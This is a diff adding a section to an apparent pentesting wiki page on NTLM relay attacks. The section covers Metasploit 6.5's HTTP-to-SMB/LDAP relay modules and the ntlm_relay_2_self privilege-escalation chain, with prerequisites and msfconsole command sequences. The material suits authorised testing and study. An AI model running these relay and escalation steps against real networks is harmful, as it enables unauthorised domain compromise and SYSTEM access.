Metasploit Framework 6.5 Released

src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md

@@ -213,6 +213,52 @@ Notes
 - Useful helpers: wsusniff.py (observe HTTP WSUS check-ins), wsuspider.sh (enumerate WUServer/WUStatusServer from GPOs), NetExec reg-query at scale.
 - Impacket restored HTTP listener support for ntlmrelayx in PR #2034 (originally added in PR #913).
 
+### Metasploit 6.5: HTTP → SMB/LDAP relay and NTLMRelay2Self
+
+If you want to keep the whole relay workflow inside **Metasploit**, version **6.5** added two dedicated HTTP relay servers plus an automated local privilege-escalation chain:
+
+- `auxiliary/server/relay/http_to_smb`: runs an HTTP listener, requests NTLM auth, relays it to the configured `RHOSTS` over SMB (`RPORT` defaults to `445`) and opens an **interactive SMB session**.
+- `auxiliary/server/relay/http_to_ldap`: same idea for LDAP (`RPORT` defaults to `389`) and opens an **interactive LDAP session**. Current module logic only relays **NTLMv1** to LDAP because NTLMv2 MIC breaks the relay, so the target must still be willing to emit NTLMv1.
+- The relay modules are session-oriented instead of one-shot execution: you can inspect the authenticated context first and then run follow-up modules (`admin/ldap/rbcd`, LDAP queries, or `sessions -u` from SMB to attempt a PsExec/Meterpreter upgrade).
+
+Minimal SMB/LDAP relay workflow:
+
+```text
+msf6 > features set smb_session_type true
+msf6 > use auxiliary/server/relay/http_to_smb
+msf6 auxiliary(http_to_smb) > set RHOSTS 10.0.0.25
+msf6 auxiliary(http_to_smb) > run
+msf6 > sessions -u <smb_session_id>
+
+msf6 > features set ldap_session_type true
+msf6 > use auxiliary/server/relay/http_to_ldap
+msf6 auxiliary(http_to_ldap) > set RHOSTS 10.0.0.10
+msf6 auxiliary(http_to_ldap) > run
+```
+
+#### Metasploit `ntlm_relay_2_self` chain
+
+`exploit/windows/local/ntlm_relay_2_self` automates a **relay-to-self** LPE from a foothold on a **domain-joined workstation**. Based on the current module code, the practical prerequisites are:
+
+- a **Meterpreter** session on the workstation
+- an **interactive/RDP token** with the **LOCAL SID (`S-1-2-0`)** so the ETW WebClient trigger works
+- a reachable DC over LDAP
+- Metasploit DB enabled
+- the victim still allowed to send **NTLMv1** (`LmCompatibilityLevel <= 2`)
+
+The chain is: bind an HTTP relay listener on the victim, start **WebClient** via an **ETW service trigger**, coerce machine-account auth over **WebDAV** using EFS Win32 APIs such as `OpenEncryptedFileRawW`, relay that auth to LDAP, then write **Shadow Credentials** (`msDS-KeyCredentialLink`) and/or **self-RBCD**, request a Kerberos ticket with **PKINIT + S4U2Proxy**, and optionally `psexec` back into the same workstation as **SYSTEM**.
+
+```text
+msf6 > use exploit/windows/local/ntlm_relay_2_self
+msf6 exploit(ntlm_relay_2_self) > set SESSION <meterpreter_session_id>
+msf6 exploit(ntlm_relay_2_self) > set RHOSTS <dc_ip>
+msf6 exploit(ntlm_relay_2_self) > set DOMAIN lab.local
+msf6 exploit(ntlm_relay_2_self) > set RUN_PSEXEC true
+msf6 exploit(ntlm_relay_2_self) > run
+```
+
+This is mainly a **local workstation privilege-escalation** primitive: the LDAP write happens as the **machine account**, but the end goal is usually **Administrator/SYSTEM on the original workstation**, not code execution on the DC.
+
 ### Force NTLM Logins
 
 In Windows you **may be able to force some privileged accounts to authenticate to arbitrary machines**. Read the following page to learn how:
@@ -394,5 +440,9 @@ You now own **NT AUTHORITY\SYSTEM**.
 - [Microsoft Learn - LCMapStringEx function](https://learn.microsoft.com/en-us/windows/win32/api/winnls/nf-winnls-lcmapstringex)
 - [Microsoft Learn - CompareStringW function](https://learn.microsoft.com/en-us/windows/win32/api/stringapiset/nf-stringapiset-comparestringw)
 - [Semperis - Exploiting Ghost SPNs and Kerberos Reflection for SMB Server Privilege Elevation](https://www.semperis.com/blog/exploiting-ghost-spns-and-kerberos-reflection-for-smb-server-privilege-elevation/)
+- [Rapid7 - Metasploit Framework 6.5 Released](https://www.rapid7.com/blog/post/pt-metasploit-framework-6-5-released)
+- [Metasploit source - `http_to_smb`](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/server/relay/http_to_smb.rb)
+- [Metasploit source - `http_to_ldap`](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/server/relay/http_to_ldap.rb)
+- [Metasploit source - `ntlm_relay_2_self`](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ntlm_relay_2_self.rb)
 
 {{#include ../../banners/hacktricks-training.md}}